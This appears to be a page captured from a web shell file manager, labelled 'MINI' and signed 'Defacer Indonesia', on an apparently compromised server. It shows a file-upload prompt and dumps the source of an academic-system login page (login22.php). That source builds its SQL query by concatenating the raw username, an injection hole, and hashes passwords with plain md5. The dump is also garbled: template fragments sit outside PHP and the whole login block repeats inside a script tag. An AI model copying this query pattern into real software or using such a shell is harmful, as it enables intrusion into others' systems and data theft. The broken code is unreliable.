MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/login22.php
<?php session_start(); if ($_POST['username'] && $_POST['password']) { $loginmsg=''; include('koneksi.php'); $query="select COUNT(*) JML from SIAK_USER where SIAK_USER = '".$_POST['username']."' AND SIAK_PASSWORD='".md5($_POST['password'])."'"; $stid = oci_parse($conn, $query); oci_execute($stid); $row = oci_fetch_array($stid, OCI_BOTH); if ($row[0]==1) { $_SESSION['grabtool_sudah_login']=true; $_SESSION['grabtool_user_name']=$row['SIAK_USER']; header('location:index.php'); exit; } else { $_SESSION['grabtool_sudah_login']=false; $loginmsg='login gagal'; } } //echo 'username : '.$_POST['username'].' pwd : '.$_POST['password']; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>'.APP_NAME.'</title> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <link rel="shortcut icon" href="'.APP_URI.'/images/favicon.png" type="image/png" > <link rel="stylesheet" href="'.APP_URI.'/plugins/bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" href="'.APP_URI.'/plugins/font-awesome/css/font-awesome.min.css"> <link rel="stylesheet" href="'.APP_URI.'/plugins/custom/animate.css"> <link rel="stylesheet" href="'.APP_URI.'/theme/back/css/AdminLTE.css"> <link rel="stylesheet" href="'.APP_URI.'/plugins/validationEngine/validationEngine.jquery.css"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <style type="text/css"> .login-box-body, .register-box-body { background: #fff3; padding: 20px; border-top: 0; color: #f5fb00; } .h1 .small, .h1 small, .h2 .small, .h2 small, .h3 .small, .h3 small, .h4 .small, .h4 small, .h5 .small, .h5 small, .h6 .small, .h6 small, h1 .small, h1 small, h2 .small, h2 small, h3 .small, h3 small, h4 .small, h4 small, h5 .small, h5 small, h6 .small, h6 small { font-weight: 400; line-height: 1; color: #f5fb00; } </style> <body class="hold-transition login-page"> <!--<body class="hold-transition bg-gray">--> <div class="login-box"> <div class="login-box-body"> <div class="text-center"><h3><b>'.APP_NAME.'</b><br/><small style="font-size:0.6em;">'.APP_DESCRIPTION.'</small></h3></div> <div class="login-logo"> <a href="'.APP_URI.'/index.html"><img src="'.APP_URI.'/images/logo.png" width="30%" alt="LOGO"></a> </div> <p class="login-box-msg">Masukkan Username dan Password</p> <form action="" method="post" id="login" name="login"> <div class="form-group has-feedback"> <input id="username" name="username" type="text" class="form-control validate[required]" placeholder="Username"> <span class="fa fa-user form-control-feedback"></span> </div> <div class="form-group has-feedback"> <input id="password" name="password" type="password" class="form-control validate[required]" placeholder="Password"> <span class="fa fa-lock form-control-feedback"></span> </div> <div class="row"><div class="col-xs-6">'; if(APP_FRONT=='no'){ $ctn .=' <span id="clogin" class="btn btn-danger btn-block btn-flat">BATAL</span> '; } $ctn .='</div><div class="col-xs-6"> <span id="btlogin" class="btn btn-primary btn-block btn-flat">LOGIN</span> </div> </div> </form> </div> <div class="login-box-body bg-aqua"> <div class="text-center"><small style="font-size:1em;"><b>'.APP_OWNER.'</b></small></div> </div> Copyright © 2020 Version 1.0.1 </div> <script src="'.APP_URI.'/plugins/jQuery/jquery-2.2.3.min.js"></script> <script src="'.APP_URI.'/plugins/bootstrap/js/bootstrap.min.js"></script> <script src="'.APP_URI.'/plugins/bootstrap-notify/bootstrap-notify.js"></script> <script src="'.APP_URI.'/plugins/validationEngine/jquery.validationEngine.js"></script> <script src="'.APP_URI.'/plugins/validationEngine/jquery.validationEngine-id.js"></script> <script src="'.APP_URI.'/plugins/custom/app.js"></script> <script> <?php session_start(); if ($_POST['username'] && $_POST['password']) { $loginmsg=''; include('koneksi.php'); $query="select COUNT(*) JML from SIAK_USER where SIAK_USER = '".$_POST['username']."' AND SIAK_PASSWORD='".md5($_POST['password'])."'"; $stid = oci_parse($conn, $query); oci_execute($stid); $row = oci_fetch_array($stid, OCI_BOTH); if ($row[0]==1) { $_SESSION['grabtool_sudah_login']=true; $_SESSION['grabtool_user_name']=$row['SIAK_USER']; header('location:index.php'); exit; } else { $_SESSION['grabtool_sudah_login']=false; $loginmsg='login gagal'; } } //echo 'username : '.$_POST['username'].' pwd : '.$_POST['password']; ?>
Copyright ©2021 || Defacer Indonesia